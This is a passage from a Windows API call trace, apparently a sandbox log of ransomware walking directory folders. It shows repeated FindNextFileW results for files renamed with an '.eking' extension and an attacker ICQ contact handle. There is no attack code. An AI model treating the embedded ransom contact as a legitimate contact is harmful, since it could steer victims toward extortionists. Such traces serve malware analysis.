ftLastWriteTime.dwLowDateTime=0xc2e5f30b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0274.998] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e5f30b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e5f30b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e7af04, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13d52, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0274.998] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e7af04, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e7af04, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc35360a6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0274.998] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e7af04, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e7af04, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc35360a6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0274.998] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0274.998] GetProcessHeap () returned 0xaf0000 [0274.998] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0274.998] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1030", cAlternateFileName="")) returned 1 [0274.998] GetProcessHeap () returned 0xaf0000 [0274.999] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0274.999] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.000] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.000] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc34c381a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc34c381a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc34e992a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xdf2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.000] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc350feeb, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc350feeb, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc350feeb, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x130c2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.000] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc39faa49, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc39faa49, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc39faa49, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.000] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc39faa49, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc39faa49, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc39faa49, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.000] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.001] GetProcessHeap () returned 0xaf0000 [0275.001] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.001] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1031", cAlternateFileName="")) returned 1 [0275.002] GetProcessHeap () returned 0xaf0000 [0275.002] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.002] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0275.003] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.003] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3725da4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3725da4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc374c979, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xe52, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.003] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc374c979, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc374c979, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3772239, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142b2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.003] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3772239, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3772239, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc37be719, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.003] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3772239, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3772239, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc37be719, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.003] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0275.005] GetProcessHeap () returned 0xaf0000 [0275.005] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.005] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1032", cAlternateFileName="")) returned 1 [0275.005] GetProcessHeap () returned 0xaf0000 [0275.005] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.005] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0275.006] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.006] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a20bf7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3a20bf7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3a535c2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x23a2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.006] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc39faa49, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc39faa49, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3a535c2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x15212, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.006] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a535c2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3a535c2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3c832de, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.007] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a535c2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3a535c2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3c832de, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.007] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0275.008] GetProcessHeap () returned 0xaf0000 [0275.008] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.008] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1033", cAlternateFileName="")) returned 1 [0275.008] GetProcessHeap () returned 0xaf0000 [0275.008] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.008] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0275.010] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.010] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a6e356, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3a6e356, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3b7b36c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xd72, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.010] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3b7b36c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3b7b36c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3b9e4b6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x12ec2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.010] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3b9e4b6, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3b9e4b6, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3d1bb69, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.010] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3b9e4b6, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3b9e4b6, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3d1bb69, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.010] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0275.011] GetProcessHeap () returned 0xaf0000 [0275.011] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.011] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1035", cAlternateFileName="")) returned 1 [0275.011] GetProcessHeap () returned 0xaf0000 [0275.011] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.011] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0275.013] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.013] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ca9572, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3ca9572, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3ccf67c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.013] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ccf67c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3ccf67c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc406450f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x12de2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.013] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d1bb69, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3d1bb69, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3d909d5, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.013] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d1bb69, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3d1bb69, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3d909d5, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.013] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0275.014] GetProcessHeap () returned 0xaf0000 [0275.014] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.014] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1036", cAlternateFileName="")) 